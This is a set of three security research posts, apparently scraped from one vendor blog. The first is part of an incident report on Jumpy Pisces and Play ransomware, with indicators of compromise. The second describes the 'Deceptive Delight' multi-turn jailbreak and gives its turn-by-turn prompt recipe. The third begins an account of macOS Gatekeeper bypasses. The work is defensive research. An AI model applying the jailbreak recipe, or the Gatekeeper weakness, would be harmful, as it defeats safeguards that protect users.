Timeline infographic showing Jumpy Pisces activities from May to September 2024, from initial login i data exfiltration and system integrity manipulation in September, ending with deployment of Play ransomware. Each point details the methods and targets of the attacks.
Figure 1. High-level timeline of events.

 

We observed the earliest signs of unauthorized activity at the end of May 2024. A compromised user account accessed a particular host through a firewall device. Partial registry dumps on the host indicate possible use of Impacket's credential harvesting module, secretsdump.py.

Attackers copied files associated with the Sliver and DTrack malware family to various hosts using the compromised account over SMB, with the following commands:

DTrack execution was blocked by the endpoint detection and response (EDR) solution. However, we did observe Sliver beaconing activity spanning multiple days until early September 2024, with quiet periods in July and sporadically on other days.

In early September, an unidentified threat actor entered the network through the same compromised user account used by Jumpy Pisces. They carried out pre-ransomware activities including credential harvesting, privilege escalation and the uninstallation of EDR sensors, which eventually led to the deployment of Play ransomware.

Threat Actor Tooling

We observed the following tools and malware during the attack timeline up to the day before the attackers deployed the ransomware. Note that some of the suspicious files observed did not successfully execute, or were not recoverable at the time of investigation.

  • Sliver: Attackers used a customized version of the open-source, red-teaming tool for C2 purposes. This tool is often seen as an alternative to Cobalt Strike. This customized version beacons to the IP address 172.96.137[.]224. This IP address has been flagged as a Sliver C2. Both the IP address and the corresponding domain americajobmail[.]site have been linked to Jumpy Pisces.
  • DTrack: This is an infostealer previously used in reported incidents attributed to North Korean threat groups. The data it collects is compressed and disguised as a GIF file.
  • Attackers used a dedicated tool built to create a privileged user account on victim machines with Remote Desktop Protocol (RDP) enabled.
  • Mimikatz: Attackers used a customized version of the publicly available credential dumping tool, with C:\windows\temp\KB0722.log as its credential dump log.
  • Attackers used a trojanized binary that steals browser history, autofills and credit card details for Chrome, Edge and Brave internet browsers. The scraped information is saved in a file in %TEMP% directory.

All the above-mentioned files were signed using a couple of invalid certificates that we note in the Indicators of Compromise section of this article. These certificates, previously linked to Jumpy Pisces, enabled the files to impersonate ones created by legitimate entities.

Assessment of Jumpy Pisces – Play Ransomware Collaboration

We assess with moderate confidence a degree of collaboration between Jumpy Pisces and Play Ransomware in this incident, based on the following factors:

  • The compromised account that attackers used for initial access and subsequent spreading of the Jumpy Pisces-linked toolset (e.g., Sliver and DTrack), was the same one used prior to ransomware deployment. The ransomware actor leveraged the account to abuse Windows access tokens, move laterally and escalate to SYSTEM privileges via PsExec. This eventually led to the mass uninstallation of EDR sensors and the onset of Play ransomware activity.
  • As highlighted previously, we observed Sliver C2 communication until the day before ransomware deployment. Furthermore, our research also suggests that the C2 IP address 172.96.137[.]224 has been offline since the day attackers deployed Play ransomware in this incident.
  • Adlumin’s report on Play ransomware suggests various commonalities in TTPs across multiple attacks they’ve tracked. One such TTP was the presence of its tools in the folder C:\Users\Public\Music. We observed some tools used prior to ransomware deployment (i.e., TokenPlayer for Windows access token abuse, and PsExec) both located in C:\Users\Public\Music.

Conclusion

It remains unclear whether Jumpy Pisces has officially become an affiliate for Play ransomware or if they acted as an IAB by selling network access to Play ransomware actors. If Play ransomware does not provide a RaaS ecosystem as it claims, Jumpy Pisces might only have acted as an IAB.

Either way, this incident is significant because it marks the first recorded collaboration between the Jumpy Pisces North Korean state-sponsored group and an underground ransomware network. This development could indicate a future trend where North Korean threat groups will increasingly participate in broader ransomware campaigns, potentially leading to more widespread and damaging attacks globally.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

If you think you might have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

SHA256 Hashes

  • 243ad5458706e5c836f8eb88a9f67e136f1fa76ed44868217dc995a8c7d07bf7
  • 2b254ae6690c9e37fa7d249e8578ee27393e47db1913816b4982867584be713a
  • f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5
  • 99e2ebf8cec6a0cea57e591ac1ca56dd5d505c2c3fc8f4c3da8fb8ad49f1527e
  • b4f5d37732272f18206242ccd00f6cad9fbfc12fae9173bb69f53fffeba5553f
  • b1ac26dac205973cd1288a38265835eda9b9ff2edc6bd7c6cb9dee4891c9b449

Sliver C2 Server Information

  • 172.96.137[.]224
  • americajobmail[.]site

Code Signing Certificate Details

  • SHA256 hash: b4f5d37732272f18206242ccd00f6cad9fbfc12fae9173bb69f53fffeba5553f
    Chain: 6e95d94d5d8ed2275559256c5fb5fc6d01da6b46
    Issuer: CN=LAMERA CORPORATION LIMITED
    NotBefore: 2/10/2022 9:44 PM
    NotAfter: 12/31/2039 4:59 PM
    Subject: CN=LAMERA CORPORATION LIMITED
    Serial: 879fa942f9f097b74fd6f7dabcf1745a
    Cert: 6e95d94d5d8ed2275559256c5fb5fc6d01da6b46

 

  • SHA256 hash: f64dab23c50e3d131abcc1bdbb35ce9d68a34920dd77677730568c24a84411c5
    Chain: 6624c7b8faac176d1c1cb10b03e7ee58a4853f91
    Issuer: CN=Tableau Software Inc.
    NotBefore: 5/27/2023 11:15 AM
    NotAfter: 12/31/2039 4:59 PM
    Subject: CN=Tableau Software Inc.
    Serial: 76cb5d1e6c2b6895428115705d9ac765
    Cert: 6624c7b8faac176d1c1cb10b03e7ee58a4853f91

Additional Resources

 

Deceptive Delight: Jailbreak LLMs Through Camouflage and Distraction

Posted on by Jay Chen

Executive Summary

This article introduces a simple and straightforward technique for jailbreaking that we call Deceptive Delight. Deceptive Delight is a multi-turn technique that engages large language models (LLM) in an interactive conversation, gradually bypassing their safety guardrails and eliciting them to generate unsafe or harmful content.

We tested this simple yet effective method in 8,000 cases across eight models. We found that it achieves an average attack success rate of 65% within just three interaction turns with the target model.

Deceptive Delight operates by embedding unsafe or restricted topics among benign ones, all presented in a positive and harmless context, leading LLMs to overlook the unsafe portion and generate responses containing unsafe content. The method unfolds over two interaction turns with the target model, as shown in Figure 1.

On the left is the attacker. On the right is the target LLM. Flowchart detailing the connections between three events: 1. Regular contact with loved ones, 2. Creation of a Molotov Cocktail, and 3. Birth of a child. The chart overlays a background narrative of a city's reconstruction post-war and an individual known for using rudimentary weaponry in battle. The logic between the events is described step-by-step, moving from personal interactions and the makeshift weapon creation to the joy of new life.
Figure 1. Deceptive Delight example.

In the first turn, the attacker requests the model to create a narrative that logically connects both the benign and unsafe topics. In the second turn, they ask the model to elaborate on each topic.

During the second turn, the target model often generates unsafe content while discussing benign topics. Although not always necessary, our experiments show that introducing a third turn—specifically prompting the model to expand on the unsafe topic—can significantly increase the relevance and detail of the harmful content generated.

To evaluate the technique’s effectiveness, we tested Deceptive Delight on eight state-of-the-art open-source and proprietary artificial intelligence (AI) models. It is common practice to use an LLM to evaluate these types of techniques at scale to provide consistency and repeatability. The LLM judge assessed both the severity and quality of the unsafe content produced on a scale of one to five. This evaluation also helped identify the optimal conditions for achieving the highest success rate, as detailed in the evaluation section.

To focus on testing the safety guardrails built into the AI models, we disabled the content filters that would typically monitor and block prompts and responses with offensive material.

Given the scope of this research, it was not feasible to exhaustively evaluate every model. Furthermore, we do not intend to cast any false impression on any AI provider, so we have chosen to anonymize the tested models throughout the article.

It is important to note that this jailbreak technique targets edge cases and does not necessarily reflect typical LLM use cases. We believe that most AI models are safe and secure when operated responsibly and with caution.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics GenAI, Jailbroken

What Is Jailbreaking?

Jailbreaking refers to attempts to bypass the safety measures and ethical guidelines built into AI models like LLMs. It involves trying to get an AI to produce harmful, biased or inappropriate content that it's designed to avoid. This can be done through carefully crafted prompts or by exploiting potential weaknesses in the AI's training.

The impacts and concerns of jailbreaking can be significant for end users and society. If successful, it could lead to attackers manipulating AI systems to spread misinformation, produce offensive content or assist in harmful activities.

This behavior would undermine the intended safeguards and could erode trust in AI technologies. For end users, this means encountering more toxic content online, being susceptible to scams or manipulation and potentially facing safety risks if attackers use an LLM to control physical systems or access sensitive information.

Jailbreaking remains an open problem for all AI models due to the inherent complexity and adaptability of language. As models become more advanced, they also become more capable of interpreting and responding to nuanced prompts, including those designed to circumvent safety measures.

Striking a balance between maintaining robust safety measures and preserving the model’s functionality and flexibility only adds more difficulty. As a result, jailbreaking may remain a persistent challenge for the foreseeable future, requiring ongoing research and development to mitigate its risks.

A common countermeasure AI service providers use to mitigate jailbreak risks is content filtering. This process involves the filter inspecting input prompts before they reach the model and reviewing model responses before sending them to the application.

Content filters serve as an external layer of defense, blocking unsafe content from both entering and leaving the model. Similar to LLMs, content filters rely on natural language processing (NLP) techniques to analyze text, with a specific focus on detecting harmful or inappropriate content. However, unlike LLMs, these filters must prioritize speed and efficiency to avoid introducing significant delays. As a result, they are much less capable and sophisticated than the models they protect.

Since this research focuses on circumventing safety mechanisms within the models themselves, all content filters were intentionally disabled during the evaluation phase.

Related Work

Multi-turn jailbreaks are techniques designed to bypass the safety mechanisms of LLMs by engaging them in extended conversations. Unlike single-turn attacks, which rely on crafting a single malicious prompt, multi-turn approaches exploit the model's ability to retain and process context over multiple interactions.

These techniques progressively steer the conversation toward harmful or unethical content. This gradual approach exploits the fact that safety measures typically focus on individual prompts rather than the broader conversation context, making it easier to circumvent safeguards by subtly shifting the dialogue.

One example is the Crescendo [PDF] technique, which leverages the LLM's tendency to follow conversational patterns. Starting with an innocuous prompt, the technique gradually escalates the dialogue, leading the model to produce a harmful output while maintaining conversational coherence.

Another approach, the Context Fusion Attack (CFA) [PDF], first filters and extracts malicious keywords from initial prompts. It then builds contextual scenarios around those keywords, strategically replacing them with less overtly harmful terms while integrating the underlying malicious intent into the conversation.

Like other multi-turn jailbreak techniques, the Deceptive Delight method exploits the inherent weaknesses of LLMs by manipulating context over several interactions. However, it employs a much simpler, more straightforward approach, achieving the same jailbreak objective in significantly fewer conversational turns.

Deceptive Delight

The concept behind Deceptive Delight is simple. LLMs have a limited “attention span,” which makes them vulnerable to distraction when processing texts with complex logic. Deceptive Delight exploits this limitation by embedding unsafe content alongside benign topics, tricking the model into inadvertently generating harmful content while focusing on the benign parts.

The attention span of an LLM refers to its capacity to process and retain context over a finite portion of text. Just as humans can only hold a certain amount of information in their working memory at any given time, LLMs have a restricted ability to maintain contextual awareness as they generate responses. This constraint can lead the model to overlook critical details, especially when it is presented with a mix of safe and unsafe information.

When LLMs encounter prompts that blend harmless content with potentially dangerous or harmful material, their limited attention span makes it difficult to consistently assess the entire context. In complex or lengthy passages, the model may prioritize the benign aspects while glossing over or misinterpreting the unsafe ones. This mirrors how a person might skim over important but subtle warnings in a detailed report if their attention is divided.

Prompt Design

Deceptive Delight is a multi-turn attack method that involves iterative interactions with the target model to trick it into generating unsafe content. While the technique requires at least two turns, adding a third turn often enhances the severity, relevance and detail of the harmful output. Figure 2 illustrates the prompt design at each turn.

Flowchart diagram explaining narrative expansion strategies by a target LLM, including logical connections and topic elaboration with labeled steps and feedback points. Warning symbols highlight "More on the unsafe topic." The conversation is initiated by an attacker.
Figure 2. Deceptive Delight prompt construction.

Preparation

Before initiating the attack, the following elements are selected:

  • An unsafe topic, such as instructions for building an explosive device or creating a harassment message.
  • A set of benign topics, such as wedding celebrations, graduation ceremonies, falling in love or winning an award. These topics are unlikely to trigger the model's safety mechanisms.

Turn one:

  • Select one unsafe topic and two benign topics. Our experiments show that adding more benign topics doesn’t necessarily improve the results.
  • Construct a prompt that asks the model to create a cohesive narrative linking all three topics.

Turn two:

  • After receiving the initial narrative, ask the model to expand on each topic in greater detail. This is the step where the model may inadvertently generate unsafe content while discussing the benign topics.

Turn three (optional):

  • Prompt the model to expand further, specifically on the unsafe topic, to enhance the relevance and detail of the generated content. While this turn is optional, it often increases the severity and specificity of the unsafe content.

Evaluation With a Jailbreak Judge

The jailbreak judge is responsible for evaluating the Harmfulness Score (HS) and Quality Score (QS) of a target model’s responses during a jailbreak attempt. These scores directly determine the Attack Success Rate (ASR).

Given the impact of the judge's decisions on all evaluation results, it is crucial to select a judge capable of making accurate, consistent and unbiased assessments. Due to the large number of test cases, using a human judge is impractical. Instead, we chose the next best option: an LLM-based judge.

Prior research has shown that the LLM-based judges demonstrated superior performance in accurately identifying harmful content. For instance, the authors of JailbreakBench [PDF] demonstrated that their LLM judge reached a 90.7% agreement with the ground truth. Similarly, the experiments resulting in the dataset and subsequent paper Judge-Bench [PDF] indicated that the model we selected showed the highest correlation with human judges.

By leveraging the advanced reasoning capabilities of modern LLMs, we can ensure that the jailbreak judge delivers reliable and adaptive evaluations. To understand the scoring guidance we gave to instruct the LLM judge, please see the specific prompts in the Appendix section.

Evaluation Metrics

Our evaluation centers on three key metrics:

  • Attack success rate
  • Harmfulness
  • Quality of the generated content

We used the following metrics to measure the effectiveness of the Deceptive Delight technique:

  • Harmfulness Score: A score ranging from 0-5, evaluating how unsafe or harmful the generated content is, with 0 representing benign content and 5 representing extremely unsafe content.
  • Quality Score: A score ranging from 0-5, assessing the relevance and detail of the generated content in relation to the unsafe topic, with 0 being the lowest quality and 5 representing highly relevant and detailed content.
  • Attack Success Rate: The percentage of attack attempts that successfully bypass the model’s safety mechanisms. We deem an attempt successful if a jailbreak judge assigns a score of 3 or above for both harmfulness and quality. We will explain details on the jailbreak judge’s methodology in a later section.

We manually created 40 unsafe topics across six categories:

  • Hate
  • Harassment
  • Self-harm
  • Sexual
  • Violence
  • Dangerous

These categories align with the standard definitions commonly used by AI service providers like OpenAI, Anthropic, Microsoft and Google.

For each unsafe topic, we created five test cases that represent different implementations of the Deceptive Delight technique. Each test case combined the unsafe topic with different benign topics or varied the number of benign topics included. To ensure the reliability of the results, we repeated each test case five times and calculated an average attack success rate.

We focused our research on testing the safety guardrails built in the AI models; we disabled the content filters that would typically monitor and block prompts and responses containing material.

Attack Success Rate

The ASR refers to the percentage of jailbreak attempts that successfully bypass an AI system's safety mechanisms, tricking the model into generating content that it would otherwise restrict or censor. ASR is only meaningful in cases where the prompt DOES CONTAIN unsafe or harmful intent, which would typically trigger the target model's safety filters and result in a censored response.

Baseline for Unsafe Topics - ASR With and Without Jailbreak

Our evaluation began by verifying that the manually created unsafe topics were sufficiently harmful to trigger the safety mechanisms of most models when presented without any jailbreak technique. We first tested sending these unsafe topics directly to the models, ensuring they had a high probability of being blocked or censored. This established a baseline for comparison before applying the Deceptive Delight jailbreak technique.

The average ASR for sending unsafe topics directly to the models—without any jailbreak technique—was 5.8%. In contrast, when using the Deceptive Delight technique, the average ASR jumped to 64.6%.

Figure 3 provides a breakdown of ASR across different models, both without jailbreak ("ASR W/O JB") and with jailbreak ("ASR WITH JB"). These results highlight the variability in model resilience. Models with higher ASR when faced with unsafe content directly (without jailbreak) also tend to show higher ASR when subjected to the Deceptive Delight technique.

Bar chart comparing the performance of eight models on two metrics: ASR W/O jailbreaking and ASR with jailbreaking. ASR with jailbreaking outperforms the models without significantly with the highest performs being Models 3 and 8. The chart includes logos for Palo Alto Networks and Unit 42.
Figure 3. ASR with and without applying the Deceptive Delight technique.

Variability Across Harmful Categories

ASR results also vary across different categories of harmful content, as shown in Figure 4. Despite model-to-model variations, there are consistent patterns in how different categories of harmful content perform. For example, unsafe topics in the "Violence" category tend to have the highest ASR across most models, whereas topics in the "Sexual" and "Hate" categories consistently show a much lower ASR.

It is important to note that these results may be biased to the unsafe topics we created for each harmful category as well as how the jailbreak judge assesses harmfulness severity within those contexts.

Bar chart comparing the performance of eight models (Model 1 to Model 8) on detecting different categories of online content: Harassment, Hate, Dangerous, Self-Harm, Sexual, and Violence. Each model's results are presented as percentages, with different colors representing each category. Self-harm and dangerous are continuously the highest across each model. The chart includes logos for Palo Alto Networks and Unit 42.
Figure 4. ASR across different harmful categories and models.

ASR Across Interaction Turns

The Deceptive Delight technique typically requires at least two turns of interaction to elicit unsafe content from the target model. While turn three is optional, our experiments show that the highest ASR is usually achieved at this turn.

Adding a fourth turn appears to have diminishing returns, as shown in Figure 5. We believe this decline occurs because by turn three, the model has already generated a significant amount of unsafe content. If we send the model texts with a larger portion of unsafe content again in turn four, there is an increasing likelihood that the model's safety mechanism will set off and block the content.

Bar chart comparing performance across eight models over four turns. Model 1 through Model 8 are shown on the x-axis, with percentages from 0% to 80% on the y-axis. Different turns are represented by colors—Turn 2 in red, Turn 3 in purple and Turn 4 in blue. The chart includes logos for Palo Alto Networks and Unit 42.
Figure 5. ASR across different turns of interaction with the target models.

Harmfulness of the Generated Content

The harmfulness of the content generated by an AI model is a key indicator of the model's ability to enforce safety measures. Accurately measuring the Harmfulness Score (HS) is crucial for estimating the ASR. In our evaluation, we used an LLM-based judge to assign an HS to every response generated by the target model during the jailbreak process.

Figure 6 shows the average HS in different turns of the Deceptive Delight technique. Overall, the HS increased by 21% from turn two to turn three. However, there is no significant increase between turns three and four.

Bar chart comparing performance across four turns for eight models. Each model is represented by a column in different shades (blue, red, purple, and dark blue) corresponding to Turn 2, Turn 3, Turn 4 respectively. The y-axis ranges from 0 to 5. The chart includes logos for Palo Alto Networks and Unit 42.
Figure 6. HS across different turns of interaction with the target models.

In fact, for some models, the HS slightly decreases from turn three to turn four, as the model’s safety guardrails begin to take effect and filter out portions of the unsafe content. Therefore, turn three consistently generates the most harmful content with the highest harmfulness scores.

Quality of the Generated Content

The Quality Score (QS) measures how relevant and detailed the generated content is with respect to the unsafe topic. This metric ensures that the AI model not only generates unsafe content but also provides responses that are highly relevant to the harmful intent and contain sufficient detail, rather than a brief or generic sentence.

We introduced this additional metric because existing content filter services often lack the contextual awareness needed to evaluate the relevance of generated content to the original unsafe intent. These filters might flag content as harmful based on a single unsafe sentence, even if it lacks substantial detail or relevance. Moreover, due to the camouflaged nature of the Deceptive Delight technique, content filters are more likely to be misled by the benign content, overlooking the unsafe portions.

Figure 7 shows the QS in different turns of the Deceptive Delight technique. Overall, the QS increases by 33% from turn two to turn three, but remains relatively unchanged between turns three and four.

Similar to the harmfulness trend, the QS for some models decreases slightly after turn three, as the models’ safety mechanisms intervene to filter out unsafe content. Thus, turn three consistently generates the most relevant and detailed unsafe content, achieving the highest QS.

Bar chart comparing performance across eight models over four turns. The chart's vertical axis ranges from 0 to 5 with increments of 1, and the horizontal axis lists models 1 through 8. Each model is represented by four bars in different colors, labeled Turn 2, Turn 3, and Turn 4, respectively. The chart includes logos for Palo Alto Networks and Unit 42.
Figure 7. Quality score across different turns of interaction with the target models.

Mitigating Deceptive Delight Jailbreaking

Mitigating Deceptive Delight and similar jailbreak techniques requires a multi-layered approach that includes content filtering, prompt engineering and continuous tests and updates. Below are some of the most effective strategies to strengthen AI models against these attacks.

Enabling LLM Content Filter

Content filters play a crucial role in detecting and mitigating unsafe or harmful content, as well as reducing the risk of AI jailbreaking. These serve as a robust secondary layer of defense, enhancing the model's built-in safety mechanisms.

To remain effective, content filters are continuously updated with the latest threat intelligence, allowing them to adapt to emerging jailbreaking techniques and evolving threats. Some widely used content filtering services include:

Prompt Engineering

Prompt engineering involves crafting input prompts in a way that guides an LLM to produce desired outputs. By thoughtfully designing prompts that incorporate clear instructions, application scopes and robust structure, developers can significantly enhance the resilience of language models against malicious attempts to bypass safety mechanisms. Below are several best practices for using prompt engineering to defend against jailbreak attacks.

  • Define boundaries: Explicitly state the acceptable range of inputs and outputs in the system prompt. For example, clearly define the topics the AI is permitted to discuss and specify restrictions on unsafe topics. By narrowing the model’s response space, it becomes harder for attackers to coerce the model into generating harmful content.
  • Safeguard reinforcements: Embed multiple safety reinforcements within the prompt. These reinforcements are reminders of guidelines or rules that emphasize the model’s compliance with safety protocols. Including safety cues at the beginning and end of user inputs can help reduce the likelihood of undesired outputs.
  • Define the persona clearly: Assigning a specific persona or context to the model can help align its responses with safe behavior. For example, if the AI is acting as a technical writer, K-12 educator or nutrition consultant, it is more likely to produce responses consistent with those roles and less prone to generating harmful content.

Conclusion

The jailbreak problem presents a multi-faceted challenge. This arises from the inherent complexities of natural language processing, the delicate balance between usability and restrictions, and the current limitations in alignment training for language models. While ongoing research can yield incremental safety improvements, it is unlikely that LLMs will ever be completely immune to jailbreak attacks.

In this research, we introduced the Deceptive Delight jailbreak technique, which effectively circumvents the safeguards of LLMs. Our evaluation reveals persistent jailbreak risks in these systems, showing that even advanced models can be manipulated into generating unsafe content.

However, these findings should not be seen as evidence that AI is inherently insecure or unsafe. Rather, they emphasize the need for multi-layered defense strategies to mitigate jailbreak risks while preserving the utility and flexibility of these models.

Best practices, such as robust prompt engineering and the use of content filters, are crucial in reducing the risk of jailbreaks. When used together, these measures can strengthen the resilience of AI systems without compromising usability or stifling innovation.

Looking ahead, future research should focus the following:

  • Enhancing alignment training techniques
  • Exploring more defense mechanisms
  • Developing comprehensive frameworks for evaluating and addressing jailbreak vulnerabilities

In addition, fostering a collaborative environment where researchers, developers and AI service providers work together is essential to stay ahead of emerging threats and continuously improve model resilience.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Appendix

This appendix contains the jailbreak judge prompt we used in our testing and additional evaluation results that can provide more insight into Deceptive Delight.

Jailbreak Judge Prompt

Additional Evaluation Results

Estimating the ASR is inherently subjective and can be sensitive to how a successful jailbreak is defined. Without clear definitions of methodology and thresholds, results can often be misleading.

In our evaluations, we set the thresholds at HS ≥ 3 and QS ≥ 3. This mid-point on the measurement scale ensures a balanced assessment that neither underestimates or overestimates performance.

Figure 8 illustrates how ASR changes under different threshold settings. For example, "Threshold = 1" indicates that an attack attempt is considered successful if both its HS ≥ 1 and QS ≥ 1.

Column chart tracking the threshholds measured by percentage across eight separate models. Threshhold 5 is markedly lower than all others, while Thresholds 1 and 2 are repeatedly the highest. Unit 42 and Palo Alto Networks logos.
Figure 8. ASR under different HS and QS thresholds.

Additionally, we examined whether the number of benign topics added to an unsafe prompt influences the ASR. Does adding just one benign topic suffice? Or do more benign topics—such as five—dilute the effectiveness of the attack?

As shown in Figure 9, we evaluated ASR when pairing unsafe topics with different numbers of benign topics. While the differences are not significant, our results show that using two benign topics yields the highest ASR. When adding more than two benign topics (e.g., three or more), the QS starts to degrade, leading to a reduction in ASR.

Column chart comparing three sets of benign topics measured by percentage up to 80%. Benign topic 1 is 63.7%, benign topic 2 is at 68.6% and benign topic 3 is at 60.5%.
Figure 9. ASR when packaging the unsafe topic with different numbers of benign topics.

In addition, Figures 10 and 11 display the average Harmfulness and Quality Scores for test cases across different harmful categories. Consistent with our earlier findings (Figure 4), there are significant variations in both HS and QS between categories.

Categories like "Dangerous," "Self-harm" and "Violence" consistently have the highest scores, while the "Sexual" and "Hate" categories score the lowest. This suggests that most models enforce stronger guardrails for certain topics, particularly those related to sexual content and hate speech.

Bar chart comparing the performance of eight models (Model 1 to Model 8) on detecting different categories of online content: Harassment, Hate, Dangerous, Self-Harm, Sexual, and Violence. Each model's results are presented as scaling from 0 through 5, with Dangerous, Self-harm and Violence measuring consistently high. The chart includes logos for Palo Alto Networks and Unit 42.
Figure 10. Average Harmfulness Score for test cases across different harmful categories.
Bar chart comparing the average quality score of eight models (Model 1 to Model 8) on detecting different categories of online content: Harassment, Hate, Dangerous, Self-Harm, Sexual, and Violence. Each model's results are presented as scaling from 0 through 5, with Dangerous, Self-harm and Violence measuring consistently high. The chart includes logos for Palo Alto Networks and Unit 42.
Figure 11. Average Quality Score for test cases across different harmful categories.

Additional Resources

Gatekeeper Bypass: Uncovering Weaknesses in a macOS Security Mechanism

Posted on by Samantha Stallings

Executive Summary

Unit 42 researchers have found that certain third-party utilities and applications pertaining to archiving, virtualization and Apple’s native command-line tools do not enforce the quarantine attribute. This can pose a threat to the integrity of a security feature on macOS known as Gatekeeper, which is responsible for ensuring that only trusted software runs on the system. A bypass of Gatekeeper could leave the user unprotected from risky applications that may attempt to execute malicious content.

One of the key components of the Gatekeeper security feature on macOS is a metadata attribute that the browser adds to downloaded files, which triggers Gatekeeper to validate the application. Apple assumes that developers will comply with their security guidelines regarding the inheritance of extended attributes, to ensure that this scanning mechanism can properly function. Because this is not necessarily the case, this can pose a weakness in the Gatekeeper mechanism.

We urge all third-party developers to comply with Gatekeeper’s security requirements by enforcing the attribute on all files their applications handle. This will help to reduce the risk of malicious Gatekeeper bypasses.

Gatekeeper is an essential security mechanism on macOS; ideally its integrity will not rely on the goodwill of developers but on Apple’s enforcement of the quarantine attribute propagation where relevant. While Apple expects third-party application developers to keep a certain standard, some built-in utilities do not comply with this standard. Should Apple choose to do so, addressing this issue could be a positive step toward making the system more secure.

Palo Alto Networks customers are protected from malicious content from third-party applications through Cortex XDR and XSIAM.

Related Unit 42 Topics macOS, Apple

The Gatekeeper Mechanism

Gatekeeper is a security mechanism on macOS that ensures only trusted software runs on the system. When a user downloads software from outside the Apple App Store, Gatekeeper confirms that the software is from a verified developer and hasn't been altered.

Gatekeeper requests the user’s approval before opening the downloaded software for the first time, as shown in Figure 1.

Dialog box warning that "Example.app," is an app downloaded from the Internet. Are you sure you want to open it? Chrome downloaded this file on 20 November 2023. Apple checked it for malicious software and none was detected. Cancel button. Blue Open button.
Figure 1. Example of the Gatekeeper triggering a prompt for the user’s consent.

Apps that Apple adds to their own App Store go through a process called Notarization in which Apple scans the application to verify it is properly signed and that it is not malicious.

The Com.apple.quarantine Extended Attribute and Its Role in the Gatekeeper Mechanism

On macOS, extended attributes are additional pieces of metadata that the user or system can associate with a file. These attributes can be used to store additional information.

Extended attributes on macOS don't have any permission system. This means that any user or process can delete, add or modify any attribute without requiring any special permissions.

This lack of permission system affects the com.apple.quarantine attribute, which is the focus of this research. The com.apple.quarantine extended attribute is automatically added to newly downloaded files on macOS.

Upon execution of a newly downloaded file, this extended attribute will trigger Gatekeeper to check and validate the binary before it allows execution. This checking process includes asking for the user’s consent.

Gatekeeper will clear the extended attribute after a successful examination. Files lacking the com.apple.quarantine will be excluded from a Gatekeeper check, as shown in Figure 2.

Flowchart depicting the process of the initial app execution, including steps such as download, archive extraction, and security checks by Gatekeeper. The flowchart shows outcomes like approval, blocking of potentially malicious apps, and non-compliance with third-party utilities.
Figure 2. Demonstration of a first execution of an application downloaded outside of the App Store.

Past Gatekeeper Bypasses

In recent years, we have seen several examples where attackers and security researchers have put focus on ways to bypass the Gatekeeper mechanism. In these bypasses, the root cause was the lack of the com.apple.quarantine extended attribute, caused by subverting Apple’s inheritance logic of the quarantine attribute.

Many malware and adware families (such as CoinTicker, Shlayer and Bundlore) use the built-in utility curl to download their payload. In this way, they can bypass Gatekeeper because curl does not set the quarantine attribute.

Security researchers have reported vulnerabilities related to the use of crafted ZIP archives and revealed issues with the inheritance of the com.apple.quarantine extended attribute from the archive file.

Apple has addressed all the above CVEs in later macOS versions.

Apple’s Oversight Over Third-Party Applications

When looking at third-party applications and utilities, Apple assumes developers will comply with their security guidelines regarding properly propagating the com.apple.quarantine extended attribute to the relevant destination files, to maintain the security mechanism’s integrity.

During our research, we came across vulnerable applications from different genres, such as virtualization and file archiving.

We reached out to Apple regarding this security issue and received the following statement:

“We have determined this issue is best addressed by you sending your report to the third-party app developer. It's up to the developer to implement quarantining, and this isn't an app we can directly support.”

Research Method

We began our research by examining Archiver, which is a popular third-party archiving application for macOS. While working with this application, we noticed that the extracted files did not inherit the quarantine attribute upon extraction of .archiver files, which allowed for the Gatekeeper bypass.

We then looked for this behavior in other file formats supported by this application. We discovered that other popular archiving file types such as ZIP, RAR and 7ZIP don't inherit the quarantine attribute either when using this app. We assumed that if it happened in this one third-party application, it could happen in other archiving tools and applications as well.

At first, we looked for similar applications and manually tested whether this issue reappeared, which it did in several other cases. After seeing that this issue was more widespread, we tried to look for a more efficient method to monitor for this behavior.

We decided to programmatically monitor whether different third party apps were writing files lacking the quarantine extended attribute. As a result, we noticed this behavior in multiple apps and utilities from different categories.

Figure 3 shows how we used the xattr utility for this purpose, to both display and manipulate extended attributes.

Terminal window displaying commands for viewing and modifying extended attributes in macOS, specifically dealing with two attributes: 'com.apple.quarantine' and 'com.apple.macl'. Commands show listing and removing the 'com.apple.quarantine' attribute from an application named 'example.app'.
Figure 3. Example of using the macOS xattr utility to remove the com.apple.quarantine extended attribute.

We found that there were three main categories of application where files were not properly inheriting the com.apple.quarantine attribute. The first is archive applications, the second was virtualization software and the third was command-line tools. The next sections will discuss in more details which applications and circumstances we observed this in.

Archive Applications

Apple states that user-installed unarchiving tools preserve quarantine. As we can see in the following examples, there are some third-party archive tools that do not enforce that, which means that Gatekeeper won’t scan the extracted files.

These are the utilities and formats that we tested and found vulnerable:

  • iZip: ZIP, TAR and 7Z
  • Archiver: ARCHIVER, ZIP, TAR and 7Z
  • BetterZip: ZIP, TAR and 7Z
  • WinRAR: ZIP, TAR and 7Z
  • 7z Utility: DMG, ZIP and 7Z

Virtualization

In VMware Fusion, when copying a file from a host machine to a guest macOS virtual machine (VM) using VMware tools, the quarantine extended attribute will be dropped from the copied file as shown in Figure 4. This means Gatekeeper won’t scan any files copied into the virtual machine.

Figure 4. Demonstration of copying a file to a VM using VMware Tools removing its com.apple.quarantine attribute.

The nature of copying files into a virtual machine is different from downloading files from an external source, in that the user is more likely to be aware of the nature of the file being copied. In order to enhance security, the user can choose to disable application execution downloaded from outside of the App Store.

Native Command-Line Tools

Generally, Apple does not enforce the quarantine extended attribute in command-line tools. Apple explains that Unix-based networking tools, such as SCP and curl, won’t mark their downloaded files as quarantined.

